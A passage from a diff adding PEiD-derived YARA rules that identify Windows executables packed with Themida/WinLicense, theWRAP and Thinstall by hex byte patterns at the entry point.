+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02231_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02232_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? 00 03 C7 B9 ?? ?? ?? 00 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 00 00 02 00 00 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02233_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+    condition:
+        $a
+}
+
+rule PEiD_02234_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 11 02 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02235_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02236_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02237_Themida_WinLicense_V1_0_0_0_V1_8_0_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.0.0-V1.8.0.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02238_Themida_WinLicense_V1_0_X_V1_7_X_DLL____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02239_Themida_WinLicense_V1_8_2_0______Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.2.0 + -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02240_Themida_WinLicense_V1_8_X_V1_9_X_nbsp_____Oreans_Technologies_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.X-V1.9.X&nbsp; -> Oreans Technologies&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02241_Themida_WinLicense_V1_X_NoCompression_SecureEngine____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02242_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02243_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02244_Thinstall_2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall 2.403 -> Jitit]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02245_Thinstall_2_4x___2_5x____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall 2.4x - 2.5x -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02246_Thinstall_2_5_________h__
+{
+    meta:
+        description = "[Thinstall 2.5 -> ??? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02247_Thinstall_2_5xx____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.5xx -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02248_Thinstall_2_628____Jtit__h__
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02249_Thinstall_2_628____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02250_Thinstall_3_035____Jtit_
+{
+    meta:
+        description = "[Thinstall 3.035 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02251_Thinstall_Embedded_V1_9X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V1.9X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02252_Thinstall_Embedded_V2_0X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02253_Thinstall_Embedded_V2_0X____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02254_Thinstall_Embedded_V2_2X_V2_308____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02255_Thinstall_Embedded_V2_2X_V2_308____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02256_Thinstall_Embedded_V2_312____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02257_Thinstall_Embedded_V2_312____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02258_Thinstall_Embedded_V2_422_V2_428____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.422-V2.428 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02259_Thinstall_Embedded_V2_501____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.501 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02260_Thinstall_Embedded_V2_545____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.545 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02261_Thinstall_Embedded_V2_547_V2_600____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.547-V2.600 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02262_Thinstall_Embedded_V2_609____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.609 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02263_Thinstall_Embedded_V2_620_V2_623____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.620-V2.623 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02264_Thinstall_Embedded_V2_717_V2_719____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
